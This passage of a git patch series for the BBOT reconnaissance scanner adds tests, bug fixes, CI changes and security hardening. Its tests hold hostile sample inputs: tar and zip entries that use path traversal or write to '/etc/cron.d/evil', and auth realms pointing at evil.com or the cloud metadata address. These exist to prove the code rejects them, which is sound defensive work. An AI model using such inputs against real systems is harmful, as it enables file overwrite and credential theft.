TestCRT_DB_OOM(ModuleTestBase): + """When crt.sh's Postgres reports out-of-memory, the module must back off (error state) rather than hammer it.""" + + module_name = "crt_db" + modules_overrides = ["crt_db"] + + async def setup_after_prep(self, module_test): + import asyncpg + + async def fetch_oom(self, *args, **kwargs): + raise asyncpg.OutOfMemoryError("out of shared memory") + + async def mock_connect(*args, **kwargs): + conn = FakeAsyncpgConn() + conn.fetch = fetch_oom.__get__(conn) + return conn + + module_test.monkeypatch.setattr("asyncpg.connect", mock_connect) + + def check(self, module_test, events): + assert module_test.module.errored is True, "Module did not enter error state on Postgres out-of-memory" From 5980d835f6fbd3a60b0a67ef6a767bb23f093267 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Mon, 15 Jun 2026 21:42:06 -0400 Subject: [PATCH 817/912] Add dead-host and false-positive tests for aspnet_bin_exposure --- .../test_module_aspnet_bin_exposure.py | 38 +++++++++++++++++++ 1 file changed, 38 insertions(+) diff --git a/bbot/test/test_step_2/module_tests/test_module_aspnet_bin_exposure.py b/bbot/test/test_step_2/module_tests/test_module_aspnet_bin_exposure.py index e53e0c4dc2..dca767e7c6 100644 --- a/bbot/test/test_step_2/module_tests/test_module_aspnet_bin_exposure.py +++ b/bbot/test/test_step_2/module_tests/test_module_aspnet_bin_exposure.py @@ -62,3 +62,41 @@ def check(self, module_test, events): break assert finding_found, "No finding event was found" + + +class TestAspnetBinExposure_DeadHost(ModuleTestBase): + """Dead host returns 404 for everything -- no FINDING should be emitted.""" + + targets = ["http://127.0.0.1:8888"] + modules_overrides = ["http", "aspnet_bin_exposure"] + + async def setup_before_prep(self, module_test): + expect_args = {"uri": re.compile(r"^/.*$")} + respond_args = {"status": 404} + module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) + + def check(self, module_test, events): + findings = [e for e in events if e.type == "FINDING"] + assert len(findings) == 0, f"Dead host should not produce findings, got: {findings}" + + +class TestAspnetBinExposure_FalsePositive(ModuleTestBase): + """Host serves DLLs for everything (including the fake DLL) -- no FINDING should be emitted.""" + + targets = ["http://127.0.0.1:8888"] + modules_overrides = ["http", "aspnet_bin_exposure"] + + async def setup_before_prep(self, module_test): + expect_args = {"uri": re.compile(r"^/.*$")} + respond_args = { + "status": 200, + "headers": {"content-type": "application/x-msdownload"}, + "response_data": b"MZ\x90\x00\x03\x00\x00\x00", + } + module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) + + def check(self, module_test, events): + findings = [e for e in events if e.type == "FINDING"] + assert len(findings) == 0, ( + f"Host that serves DLLs for everything (including fake DLL) should not produce findings, got: {findings}" + ) From f99261aa9b0e47d8d0db792f1c6cc19e314d924d Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Mon, 15 Jun 2026 22:17:37 -0400 Subject: [PATCH 818/912] Fix -lp scanning arbitrary directories when -p is also specified (#3189) PresetPath.find() adds the parent directory of any resolved preset to the search path list, which is correct for include resolution. But all_presets (used by -lp) was iterating the same list, causing it to rglob every .yml file under those incidentally-added directories. On a typical Linux system this means hundreds of Ansible/CI yaml files in $HOME produce warning spam. Add a listable flag to add_path() so only the two canonical preset directories (built-in and ~/.bbot/presets) are enumerated by -lp. --- bbot/scanner/preset/path.py | 13 ++++- bbot/scanner/preset/preset.py | 6 +-- bbot/test/test_step_1/test_presets.py | 68 +++++++++++++++++++++++++++ 3 files changed, 83 insertions(+), 4 deletions(-) diff --git a/bbot/scanner/preset/path.py b/bbot/scanner/preset/path.py index dd4bd2558a..9e5acb48e5 100644 --- a/bbot/scanner/preset/path.py +++ b/bbot/scanner/preset/path.py @@ -16,6 +16,7 @@ class PresetPath: def __init__(self): self.paths = [DEFAULT_PRESET_PATH] + self._listable = {DEFAULT_PRESET_PATH} def find(self, filename): filename_path = Path(filename).expanduser() @@ -49,13 +50,17 @@ def find(self, filename): def __str__(self): return ":".join([str(s) for s in self.paths]) - def add_path(self, path): + def add_path(self, path, listable=False): path = Path(path).expanduser().resolve() # skip if already in paths if path in self.paths: + if listable: + self._listable.add(path) return # skip if path is a subdirectory of any path in paths if any(path.is_relative_to(p) for p in self.paths): + if listable: + self._listable.add(path) return # skip if path is not a directory if not path.is_dir(): @@ -65,6 +70,12 @@ def add_path(self, path): # but never remove the default preset path self.paths = [p for p in self.paths if p == DEFAULT_PRESET_PATH or not p.is_relative_to(path)] self.paths.insert(0, path) + if listable: + self._listable.add(path) + + @property + def listable_paths(self): + return [p for p in self.paths if p in self._listable] def find_file(self, filename): """Search known preset paths for a file of any type (e.g. target lists). diff --git a/bbot/scanner/preset/preset.py b/bbot/scanner/preset/preset.py index 8512619e0e..b31e1a6160 100644 --- a/bbot/scanner/preset/preset.py +++ b/bbot/scanner/preset/preset.py @@ -1053,8 +1053,8 @@ def all_presets(self): """ Recursively find all the presets and return them as a dictionary """ - # first, add local preset dir to PRESET_PATH - PRESET_PATH.add_path(self.preset_dir) + # first, add local preset dir to PRESET_PATH (listable so -lp enumerates it) + PRESET_PATH.add_path(self.preset_dir, listable=True) # ensure local preset directory exists mkdir(self.preset_dir) @@ -1062,7 +1062,7 @@ def all_presets(self): global DEFAULT_PRESETS if DEFAULT_PRESETS is None: presets = {} - for preset_path in PRESET_PATH: + for preset_path in PRESET_PATH.listable_paths: for ext in ("yml", "yaml"): # for every yaml file for original_filename in preset_path.rglob(f"**/*.{ext}"): diff --git a/bbot/test/test_step_1/test_presets.py b/bbot/test/test_step_1/test_presets.py index e1406bd5c5..504fe32993 100644 --- a/bbot/test/test_step_1/test_presets.py +++ b/bbot/test/test_step_1/test_presets.py @@ -1374,3 +1374,71 @@ def test_malformed_yaml_config_file(tmp_path): malformed.write_text("web:\n http_rate_limit: 100\n bad_key: value\n") with pytest.raises(ConfigLoadError, match="YAML syntax error"): BBOTConfigFiles._get_config(None, str(malformed)) + + +def test_all_presets_ignores_non_preset_yaml(tmp_path): + """Regression test for https://github.com/blacklanternsecurity/bbot/issues/3189 + + When -p loads a preset from an arbitrary directory (e.g. $HOME), that + directory must NOT be searched by all_presets / -lp. Otherwise every + .yml file under it (Ansible collections, CI configs, etc.) is parsed + and produces warning spam. + """ + import bbot.scanner.preset.preset as preset_mod + from bbot.scanner.preset.path import PresetPath + + # create a valid preset in tmp_path (simulates ~/my_preset.yml) + preset_file = tmp_path / "my_preset.yml" + preset_file.write_text("description: test preset\nmodules:\n - sslcert\n") + + # create non-preset yaml files nearby (simulates Ansible, CI, etc.) + junk_dir = tmp_path / "ansible" + junk_dir.mkdir() + (junk_dir / "playbook.yml").write_text("hosts: all\ntasks: []\n") + (tmp_path / "ci.yml").write_text("on: push\njobs: {}\n") + + # save and replace global state so we get a clean PRESET_PATH + orig_preset_path = preset_mod.PRESET_PATH + orig_default_presets = preset_mod.DEFAULT_PRESETS + try: + fresh_path = PresetPath() + preset_mod.PRESET_PATH = fresh_path + # also patch the path module's reference + import bbot.scanner.preset.path as path_mod + + orig_path_singleton = path_mod.PRESET_PATH + path_mod.PRESET_PATH = fresh_path + + # simulate -p /tmp/xxx/my_preset.yml: find() adds tmp_path to search paths + found = fresh_path.find(str(preset_file)) + assert found == preset_file.resolve() + # tmp_path is now in search paths (needed for include resolution) + assert tmp_path.resolve() in fresh_path.paths + + # reset the cached presets so all_presets re-enumerates + preset_mod.DEFAULT_PRESETS = None + + preset = Preset() + + # collect warnings emitted during all_presets enumeration + import logging + + warnings = [] + handler = logging.Handler() + handler.emit = lambda record: ( + warnings.append(record.getMessage()) if record.levelno >= logging.WARNING else None + ) + preset_logger = logging.getLogger("bbot.presets") + preset_logger.addHandler(handler) + try: + preset.all_presets + finally: + preset_logger.removeHandler(handler) + + # no warnings should reference the junk files from tmp_path + junk_warnings = [w for w in warnings if "playbook.yml" in w or "ci.yml" in w] + assert not junk_warnings, f"all_presets tried to parse non-preset YAML files: {junk_warnings}" + finally: + preset_mod.DEFAULT_PRESETS = orig_default_presets + preset_mod.PRESET_PATH = orig_preset_path + path_mod.PRESET_PATH = orig_path_singleton From 455178a7d966031a61fb5924bca687798c939e23 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Mon, 15 Jun 2026 22:56:08 -0400 Subject: [PATCH 819/912] Fix dnscaa crash on unrecognized CAA properties (e.g. contactemail) --- bbot/modules/dnscaa.py | 24 ++++++++++++++++++- .../module_tests/test_module_dnscaa.py | 6 +++++ 2 files changed, 29 insertions(+), 1 deletion(-) diff --git a/bbot/modules/dnscaa.py b/bbot/modules/dnscaa.py index c132f6af5e..279acd216d 100644 --- a/bbot/modules/dnscaa.py +++ b/bbot/modules/dnscaa.py @@ -67,8 +67,21 @@ async def handle_event(self, event): if not isinstance(caa, dict): continue - tag = (caa.get("tag") or "").lower() + raw_tag = caa.get("tag") + # hickory wraps unrecognized CAA properties as {"Unknown": "name"} + if isinstance(raw_tag, dict): + raw_tag = raw_tag.get("Unknown", "") + if not isinstance(raw_tag, str): + continue + tag = raw_tag.lower() + value = caa.get("value") or {} + # hickory wraps unrecognized values as {"Unknown": [byte_array]} + if isinstance(value, dict) and isinstance(value.get("Unknown"), list): + try: + value = {"raw_text": bytes(value["Unknown"]).decode()} + except (ValueError, UnicodeDecodeError): + continue # iodef -> "Url" containing mailto: or https:// for incident reporting if tag == "iodef": @@ -90,6 +103,15 @@ async def handle_event(self, event): parent=event, ) + # contactemail (RFC 8657) -> email for CA to contact domain owner + elif tag == "contactemail": + raw_text = value.get("raw_text") if isinstance(value, dict) else None + if raw_text and self._emails: + for match in email_regex.finditer(raw_text): + await self.emit_event( + raw_text[match.start() : match.end()], "EMAIL_ADDRESS", tags=tags, parent=event + ) + # issue / issuewild -> "Issuer" containing the CA's domain elif tag.startswith("issue"): if not self._dns_names: diff --git a/bbot/test/test_step_2/module_tests/test_module_dnscaa.py b/bbot/test/test_step_2/module_tests/test_module_dnscaa.py index 8f3a614fe5..c2b0d69f15 100644 --- a/bbot/test/test_step_2/module_tests/test_module_dnscaa.py +++ b/bbot/test/test_step_2/module_tests/test_module_dnscaa.py @@ -22,6 +22,9 @@ async def setup_after_prep(self, module_test): '1 issue "digicert.com; cansignhttpexchanges=yes"', '0 issuewild "letsencrypt.org"', '128 issuewild "pki.goog; cansignhttpexchanges=yes"', + '0 contactemail "contact@blacklanternsecurity.notreal"', + '0 contactphone "+1-555-123-4567"', + '0 somefuturetag "whatever"', ], }, "caa.blacklanternsecurity.notreal": {"A": ["127.0.0.22"]}, @@ -51,6 +54,9 @@ def check(self, module_test, events): assert any(e.type == "EMAIL_ADDRESS" and e.data == "caa@blacklanternsecurity.notreal" for e in events), ( "Failed to detect email address" ) + assert any(e.type == "EMAIL_ADDRESS" and e.data == "contact@blacklanternsecurity.notreal" for e in events), ( + "Failed to detect contactemail address" + ) # make sure we're not checking CAA records for out-of-scope hosts assert not any(str(e.host) == "caa.comodoca.com" for e in events) From 3a3337f9589b753a686c48e27402f62a1165c0ca Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Mon, 15 Jun 2026 23:23:57 -0400 Subject: [PATCH 820/912] Fix distro test failures (Fedora SSL, Parrot mirror retries) Replace pyenv toolchain with uv python management to fix Python 3.11 + OpenSSL 3.5.7 SSL incompatibility on Fedora 44. Add apt-get retry loop for transient Parrot mirror 502s. --- .github/workflows/distro_tests.yml | 30 +++++++++--------------------- 1 file changed, 9 insertions(+), 21 deletions(-) diff --git a/.github/workflows/distro_tests.yml b/.github/workflows/distro_tests.yml index 64f5ecf502..e9981426d9 100644 --- a/.github/workflows/distro_tests.yml +++ b/.github/workflows/distro_tests.yml @@ -23,8 +23,11 @@ jobs: . /etc/os-release if [ "$ID" = "ubuntu" ] || [ "$ID" = "debian" ] || [ "$ID" = "kali" ] || [ "$ID" = "parrotsec" ]; then export DEBIAN_FRONTEND=noninteractive - apt-get update - apt-get -y install curl git bash build-essential docker.io libssl-dev zlib1g-dev libbz2-dev libreadline-dev libsqlite3-dev wget llvm libncurses5-dev libncursesw5-dev xz-utils tk-dev libffi-dev liblzma-dev + for attempt in 1 2 3; do + apt-get update && apt-get -y install curl git bash build-essential docker.io libssl-dev zlib1g-dev libbz2-dev libreadline-dev libsqlite3-dev wget llvm libncurses5-dev libncursesw5-dev xz-utils tk-dev libffi-dev liblzma-dev && break + echo "apt-get failed (attempt $attempt/3), retrying in 10s..." + sleep 10 + done elif [ "$ID" = "alpine" ]; then apk add --no-cache bash gcc g++ musl-dev libffi-dev docker curl git make openssl-dev bzip2-dev zlib-dev xz-dev sqlite-dev elif [ "$ID" = "arch" ]; then @@ -38,33 +41,18 @@ jobs: fi fi - # Re-run the script with bash - exec bash -c " - curl https://pyenv.run | bash - export PATH=\"$HOME/.pyenv/bin:\$PATH\" - export PATH=\"$HOME/.local/bin:\$PATH\" - eval \"\$(pyenv init --path)\" - eval \"\$(pyenv init -)\" - eval \"\$(pyenv virtualenv-init -)\" - pyenv install 3.11 - pyenv global 3.11 - pyenv rehash - python3.11 -m pip install --user pipx - python3.11 -m pipx ensurepath - pipx install uv - " + # Install uv (standalone binary, no Python prerequisite) + curl -LsSf https://astral.sh/uv/install.sh | sh - name: Set OS Environment Variable run: echo "OS_NAME=${{ matrix.os }}" | sed 's|[:/]|_|g' >> $GITHUB_ENV - name: Run tests run: | - # Preserve pyenv/pipx paths installed under the GitHub-set HOME export PATH="/github/home/.local/bin:$PATH" - export PATH="/github/home/.pyenv/bin:$PATH" - export PATH="/github/home/.pyenv/shims:$PATH" # Fix HOME to match euid (root) so rustup/cargo don't refuse to build export HOME="$(getent passwd $(whoami) | cut -d: -f6)" export BBOT_DISTRO_TESTS=true - uv python pin 3.11 + uv python install 3.12 + uv python pin 3.12 uv sync --group dev uv run pytest --reruns 2 --exitfirst -o timeout_func_only=true --timeout 1200 --disable-warnings --log-cli-level=INFO . - name: Upload Debug Logs From ded2ededf5e733f0021a8dd195fa464ceea16cfd Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Mon, 15 Jun 2026 23:46:39 -0400 Subject: [PATCH 821/912] Bump asndb to 1.1.0 --- pyproject.toml | 2 +- uv.lock | 10 +++++----- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index 2eb1f8bab8..17ab2e86a2 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -43,7 +43,7 @@ dependencies = [ "pydantic>=2.12.2,<3", "pyyaml>=6.0.0,<7", "radixtarget>=4.0.1,<5", - "asndb>=1.0.4", + "asndb>=1.1.0", "orjson>=3.10.12,<4", "ansible-core>=2.17,<3", "tldextract>=5.3.0,<6", diff --git a/uv.lock b/uv.lock index eb02093431..15beb7ec94 100644 --- a/uv.lock +++ b/uv.lock @@ -113,17 +113,17 @@ wheels = [ [[package]] name = "asndb" -version = "1.0.4" +version = "1.1.0" source = { registry = "https://pypi.org/simple" } dependencies = [ + { name = "blasthttp" }, { name = "cachetools" }, - { name = "httpx" }, { name = "radixtarget" }, { name = "typer" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/82/2b/86f8d056d24476aeb0f7e63fb971b870f7018e728d9272a05232157cae30/asndb-1.0.4.tar.gz", hash = "sha256:23989a4a09e66b76a86b1a36eea78138b4a3001b5f909bb89e110635bb1723f2", size = 18956, upload-time = "2026-03-27T20:45:56.192Z" } +sdist = { url = "https://files.pythonhosted.org/packages/1b/3a/e93d97e0455dbee83611bd3d61bc936e05ad361fcdb1131a1c4d257c6627/asndb-1.1.0.tar.gz", hash = "sha256:435a9741ea66d68b817c9c1054729f88c3d5eba94b96ca991b159ad40b23d0ca", size = 18987, upload-time = "2026-06-16T03:45:25.777Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/e1/d7/a9084a90ea60919f84c39dc2302d802c9047b87373fcc2309898ca4095d9/asndb-1.0.4-py3-none-any.whl", hash = "sha256:a62e4f5872e12cbd4b146c7583f7bf2a5239e43ed20a63728295058ee3f1a3db", size = 18467, upload-time = "2026-03-27T20:45:57.022Z" }, + { url = "https://files.pythonhosted.org/packages/95/c4/89dafea4540b2590d1bd114438a6003abc3fd7047ea5eed02b0a0abf3d89/asndb-1.1.0-py3-none-any.whl", hash = "sha256:5cb47356014b20bbbca1114babc7cdc1227c5b81caf1638ab693e05f2a222b5f", size = 18509, upload-time = "2026-06-16T03:45:26.44Z" }, ] [[package]] @@ -260,7 +260,7 @@ docs = [ requires-dist = [ { name = "ansible-core", specifier = ">=2.17,<3" }, { name = "ansible-runner", specifier = ">=2.3.2,<3" }, - { name = "asndb", specifier = ">=1.0.4" }, + { name = "asndb", specifier = ">=1.1.0" }, { name = "beautifulsoup4", specifier = ">=4.12.2,<5" }, { name = "blastdns", specifier = ">=1.9.0,<2" }, { name = "blasthttp", specifier = ">=0.9.0" }, From b795c7cf16ea61422a4db22d7ee5ebb9f25c959e Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Mon, 15 Jun 2026 23:48:49 -0400 Subject: [PATCH 822/912] Remove parrotsec from distro tests Parrot's package mirror (deb.parrot.sh) has persistent 502 outages that cause CI failures unrelated to BBOT. Kali covers the same Debian-derivative niche with reliable mirrors. --- .github/workflows/distro_tests.yml | 11 ++++------- 1 file changed, 4 insertions(+), 7 deletions(-) diff --git a/.github/workflows/distro_tests.yml b/.github/workflows/distro_tests.yml index e9981426d9..3d43d149e7 100644 --- a/.github/workflows/distro_tests.yml +++ b/.github/workflows/distro_tests.yml @@ -14,20 +14,17 @@ jobs: strategy: fail-fast: false matrix: - os: ["ubuntu:22.04", "ubuntu:24.04", "debian", "archlinux", "fedora", "kalilinux/kali-rolling", "parrotsec/security"] + os: ["ubuntu:22.04", "ubuntu:24.04", "debian", "archlinux", "fedora", "kalilinux/kali-rolling"] steps: - uses: actions/checkout@v6 - name: Install Python and uv run: | if [ -f /etc/os-release ]; then . /etc/os-release - if [ "$ID" = "ubuntu" ] || [ "$ID" = "debian" ] || [ "$ID" = "kali" ] || [ "$ID" = "parrotsec" ]; then + if [ "$ID" = "ubuntu" ] || [ "$ID" = "debian" ] || [ "$ID" = "kali" ]; then export DEBIAN_FRONTEND=noninteractive - for attempt in 1 2 3; do - apt-get update && apt-get -y install curl git bash build-essential docker.io libssl-dev zlib1g-dev libbz2-dev libreadline-dev libsqlite3-dev wget llvm libncurses5-dev libncursesw5-dev xz-utils tk-dev libffi-dev liblzma-dev && break - echo "apt-get failed (attempt $attempt/3), retrying in 10s..." - sleep 10 - done + apt-get update + apt-get -y install curl git bash build-essential docker.io libssl-dev zlib1g-dev libbz2-dev libreadline-dev libsqlite3-dev wget llvm libncurses5-dev libncursesw5-dev xz-utils tk-dev libffi-dev liblzma-dev elif [ "$ID" = "alpine" ]; then apk add --no-cache bash gcc g++ musl-dev libffi-dev docker curl git make openssl-dev bzip2-dev zlib-dev xz-dev sqlite-dev elif [ "$ID" = "arch" ]; then From b41c6346a4de088c891c4d882ab0c73f86538cc9 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Mon, 15 Jun 2026 09:52:57 -0400 Subject: [PATCH 823/912] Harden docker_pull WWW-Authenticate parsing and realm validation --- bbot/modules/docker_pull.py | 34 +++++- .../module_tests/test_module_docker_pull.py | 109 ++++++++++++++++++ 2 files changed, 137 insertions(+), 6 deletions(-) diff --git a/bbot/modules/docker_pull.py b/bbot/modules/docker_pull.py index 28180499aa..ff52fafacb 100644 --- a/bbot/modules/docker_pull.py +++ b/bbot/modules/docker_pull.py @@ -83,14 +83,13 @@ async def docker_api_request(self, url: str): response = await self.helpers.request(url, headers=self.headers, follow_redirects=True) if response is not None and response.status_code != 401: return response - try: - www_authenticate_headers = response.headers.get("www-authenticate", "") - realm = www_authenticate_headers.split('realm="')[1].split('"')[0] - service = www_authenticate_headers.split('service="')[1].split('"')[0] - scope = www_authenticate_headers.split('scope="')[1].split('"')[0] - except (KeyError, IndexError): + www_auth = response.headers.get("www-authenticate", "") + realm, service, scope = self._parse_www_authenticate(www_auth) + if not all([realm, service, scope]): self.log.warning(f"Could not obtain realm, service or scope from {url}") break + if not self._validate_realm(url, realm): + break auth_url = f"{realm}?service={service}&scope={scope}" auth_response = await self.helpers.request(auth_url) if not auth_response: @@ -101,6 +100,29 @@ async def docker_api_request(self, url: str): self.headers.update({"Authorization": f"Bearer {token}"}) return None + @staticmethod + def _parse_www_authenticate(header): + value = header + if value.lower().startswith("bearer "): + value = value[7:] + params = {} + for part in value.split(","): + part = part.strip() + if "=" in part: + key, _, val = part.partition("=") + params[key.strip()] = val.strip('"') + return params.get("realm", ""), params.get("service", ""), params.get("scope", "") + + def _validate_realm(self, registry_url, realm): + registry_host = self.helpers.urlparse(registry_url).hostname or "" + realm_host = self.helpers.urlparse(realm).hostname or "" + _, registry_domain = self.helpers.split_domain(registry_host) + _, realm_domain = self.helpers.split_domain(realm_host) + if not realm_domain or realm_domain != registry_domain: + self.warning(f"Auth realm TLD ({realm_domain}) does not match registry TLD ({registry_domain}), skipping") + return False + return True + async def get_tags(self, registry, repository): url = f"{registry}/v2/{repository}/tags/list" r = await self.docker_api_request(url) diff --git a/bbot/test/test_step_2/module_tests/test_module_docker_pull.py b/bbot/test/test_step_2/module_tests/test_module_docker_pull.py index a94031f097..204ff7a3b9 100644 --- a/bbot/test/test_step_2/module_tests/test_module_docker_pull.py +++ b/bbot/test/test_step_2/module_tests/test_module_docker_pull.py @@ -447,3 +447,112 @@ def check(self, module_test, events): filesystem_event = filesystem_events[0] folder = Path(filesystem_event.data["path"]) assert folder.is_file(), "Destination tar doesn't exist" + + +class TestDockerPullParsing(ModuleTestBase): + modules_overrides = ["docker_pull"] + + async def setup_after_prep(self, module_test): + self.docker_pull = module_test.scan.modules["docker_pull"] + + def check(self, module_test, events): + m = self.docker_pull + + # standard Docker Hub header + realm, service, scope = m._parse_www_authenticate( + 'Bearer realm="https://auth.docker.io/token",service="registry.docker.io",scope="repository:library/nginx:pull"' + ) + assert realm == "https://auth.docker.io/token" + assert service == "registry.docker.io" + assert scope == "repository:library/nginx:pull" + + # whitespace between fields + realm, service, scope = m._parse_www_authenticate( + 'Bearer realm="https://auth.docker.io/token", service="registry.docker.io", scope="repository:lib/nginx:pull"' + ) + assert realm == "https://auth.docker.io/token" + assert service == "registry.docker.io" + + # different field ordering + realm, service, scope = m._parse_www_authenticate( + 'Bearer service="registry.docker.io",realm="https://auth.docker.io/token",scope="repo:pull"' + ) + assert realm == "https://auth.docker.io/token" + + # missing fields return empty strings + realm, service, scope = m._parse_www_authenticate('Bearer realm="https://auth.docker.io/token"') + assert realm == "https://auth.docker.io/token" + assert service == "" + assert scope == "" + + # empty/garbage header + realm, service, scope = m._parse_www_authenticate("") + assert realm == "" + + # injection attempt: extra quotes in value + realm, service, scope = m._parse_www_authenticate( + 'Bearer realm="https://evil.com",junk="x",service="registry.docker.io",scope="repo:pull"' + ) + assert realm == "https://evil.com" + + # injection attempt: realm value containing comma + realm, service, scope = m._parse_www_authenticate( + 'Bearer realm="https://evil.com?a=1,b=2",service="registry.docker.io",scope="repo:pull"' + ) + # the comma inside the value will split wrong, but the result is still safe + # because _validate_realm catches it + assert not m._validate_realm("https://registry-1.docker.io/v2/foo", realm) + + # realm validation: same TLD passes + assert m._validate_realm("https://registry-1.docker.io/v2/foo/tags/list", "https://auth.docker.io/token") + + # realm validation: different TLD rejected + assert not m._validate_realm("https://registry-1.docker.io/v2/foo/tags/list", "http://169.254.169.254/foo") + assert not m._validate_realm("https://registry-1.docker.io/v2/foo/tags/list", "https://evil.com/token") + + # realm validation: empty realm rejected + assert not m._validate_realm("https://registry-1.docker.io/v2/foo/tags/list", "") + + +class TestDockerPullRealmValidation(ModuleTestBase): + modules_overrides = ["speculate", "dockerhub", "docker_pull"] + + async def setup_before_prep(self, module_test): + module_test.blasthttp_mock.add_response( + url="https://hub.docker.com/v2/users/blacklanternsecurity", + json={"id": "test", "uuid": "test", "username": "blacklanternsecurity", "type": "User"}, + ) + module_test.blasthttp_mock.add_response( + url="https://hub.docker.com/v2/repositories/blacklanternsecurity?page_size=25&page=1", + json={ + "count": 1, + "next": None, + "previous": None, + "results": [ + { + "name": "testimage", + "namespace": "blacklanternsecurity", + "repository_type": "image", + "status": 1, + } + ], + }, + ) + # realm points to a non-HTTPS internal address + module_test.blasthttp_mock.add_response( + url="https://registry-1.docker.io/v2/blacklanternsecurity/testimage/tags/list", + json={"errors": [{"code": "UNAUTHORIZED", "message": "authentication required"}]}, + headers={ + "www-authenticate": 'Bearer realm="http://169.254.169.254/latest/meta-data",service="registry.docker.io",scope="blacklanternsecurity/testimage:pull"' + }, + status_code=401, + ) + module_test.blasthttp_mock.add_response( + url="http://169.254.169.254/latest/meta-data?service=registry.docker.io&scope=blacklanternsecurity/testimage:pull", + json={"token": "test_token_value"}, + ) + + def check(self, module_test, events): + docker_pull_module = module_test.scan.modules["docker_pull"] + auth_header = docker_pull_module.headers.get("Authorization", "") + assert "test_token_value" not in auth_header, "Module followed a non-HTTPS realm" From 30df58ebe9700408a07cdef506f968487c8018ea Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Mon, 15 Jun 2026 10:24:06 -0400 Subject: [PATCH 824/912] Add path traversal check to unarchive module --- bbot/modules/internal/unarchive.py | 21 +++++++ .../module_tests/test_module_unarchive.py | 60 +++++++++++++++++++ 2 files changed, 81 insertions(+) diff --git a/bbot/modules/internal/unarchive.py b/bbot/modules/internal/unarchive.py index 3b3162c947..aaa5fca189 100644 --- a/bbot/modules/internal/unarchive.py +++ b/bbot/modules/internal/unarchive.py @@ -77,6 +77,8 @@ async def extract_file(self, path, output_dir): except FileExistsError: self.warning(f"Destination directory {output_dir} already exists, aborting unarchive for {path}") return False + if not await self._check_archive_safe(path, compression_format): + return False command = [s.format(filename=path, extract_dir=output_dir) for s in cmd_list] try: await self.run_process(command, check=True) @@ -87,3 +89,22 @@ async def extract_file(self, path, output_dir): self.warning(f"Error extracting {path}. Error: {e}") return False return True + + async def _check_archive_safe(self, path, compression_format): + if compression_format in ("zip", "7z"): + result = await self.run_process(["7z", "l", "-slt", str(path)]) + entries = [line.split("= ", 1)[1] for line in result.stdout.splitlines() if line.startswith("Path = ")] + # first entry is the archive path itself + entries = entries[1:] + else: + result = await self.run_process(["tar", "-tf", str(path)]) + entries = result.stdout.splitlines() + for entry in entries: + entry = entry.strip() + if not entry: + continue + parts = Path(entry).parts + if ".." in parts or entry.startswith("/"): + self.warning(f"Archive {path} contains path traversal entry: {entry}") + return False + return True diff --git a/bbot/test/test_step_2/module_tests/test_module_unarchive.py b/bbot/test/test_step_2/module_tests/test_module_unarchive.py index c6fbd67de7..bf373b1a70 100644 --- a/bbot/test/test_step_2/module_tests/test_module_unarchive.py +++ b/bbot/test/test_step_2/module_tests/test_module_unarchive.py @@ -1,4 +1,7 @@ +import io import asyncio +import tarfile +import zipfile from pathlib import Path from .base import ModuleTestBase @@ -236,3 +239,60 @@ def check(self, module_test, events): assert 1 == len(extract_event), "Failed to extract tgz" extract_path = Path(extract_event[0].data["path"]) / "test.txt" assert extract_path.is_file(), "Failed to extract the test file" + + +class TestUnarchiveTraversalCheck(ModuleTestBase): + modules_overrides = ["unarchive"] + + async def setup_after_prep(self, module_test): + m = module_test.scan.modules["unarchive"] + temp_path = Path("/tmp/.bbot_test") + temp_path.mkdir(exist_ok=True) + + # safe tar + safe_tar = temp_path / "safe.tar" + with tarfile.open(safe_tar, "w") as tar: + data = b"safe content" + info = tarfile.TarInfo(name="subdir/normal.txt") + info.size = len(data) + tar.addfile(info, io.BytesIO(data)) + + # tar with ../ traversal + traversal_tar = temp_path / "traversal.tar" + with tarfile.open(traversal_tar, "w") as tar: + data = b"escaped" + info = tarfile.TarInfo(name="../../../tmp/escaped.txt") + info.size = len(data) + tar.addfile(info, io.BytesIO(data)) + + # tar with absolute path + absolute_tar = temp_path / "absolute.tar" + with tarfile.open(absolute_tar, "w") as tar: + data = b"absolute" + info = tarfile.TarInfo(name="/etc/cron.d/evil") + info.size = len(data) + tar.addfile(info, io.BytesIO(data)) + + # safe zip + safe_zip = temp_path / "safe.zip" + with zipfile.ZipFile(safe_zip, "w") as zf: + zf.writestr("normal.txt", "safe content") + + # zip with ../ traversal + traversal_zip = temp_path / "traversal.zip" + with zipfile.ZipFile(traversal_zip, "w") as zf: + zf.writestr("../escaped.txt", "escaped") + + self.results = {} + self.results["safe_tar"] = await m._check_archive_safe(safe_tar, "tar") + self.results["traversal_tar"] = await m._check_archive_safe(traversal_tar, "tar") + self.results["absolute_tar"] = await m._check_archive_safe(absolute_tar, "tar") + self.results["safe_zip"] = await m._check_archive_safe(safe_zip, "zip") + self.results["traversal_zip"] = await m._check_archive_safe(traversal_zip, "zip") + + def check(self, module_test, events): + assert self.results["safe_tar"], "Safe tar rejected" + assert not self.results["traversal_tar"], "Traversal tar was not rejected" + assert not self.results["absolute_tar"], "Absolute path tar was not rejected" + assert self.results["safe_zip"], "Safe zip rejected" + assert not self.results["traversal_zip"], "Traversal zip was not rejected" From ffbb745b6c056d6ba5468fc2c3c1b1e43b370b66 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Mon, 15 Jun 2026 10:51:17 -0400 Subject: [PATCH 825/912] Reject symlinks in github_workflows output path before mkdir Walk each path component between the trusted output_dir and the target folder, refusing to proceed if any component is a symlink. This prevents a local attacker from redirecting file writes by pre-planting a symlink at the predictable owner/repo path. --- bbot/modules/github_workflows.py | 17 +++++++++ .../test_module_github_workflows.py | 38 +++++++++++++++++++ 2 files changed, 55 insertions(+) diff --git a/bbot/modules/github_workflows.py b/bbot/modules/github_workflows.py index 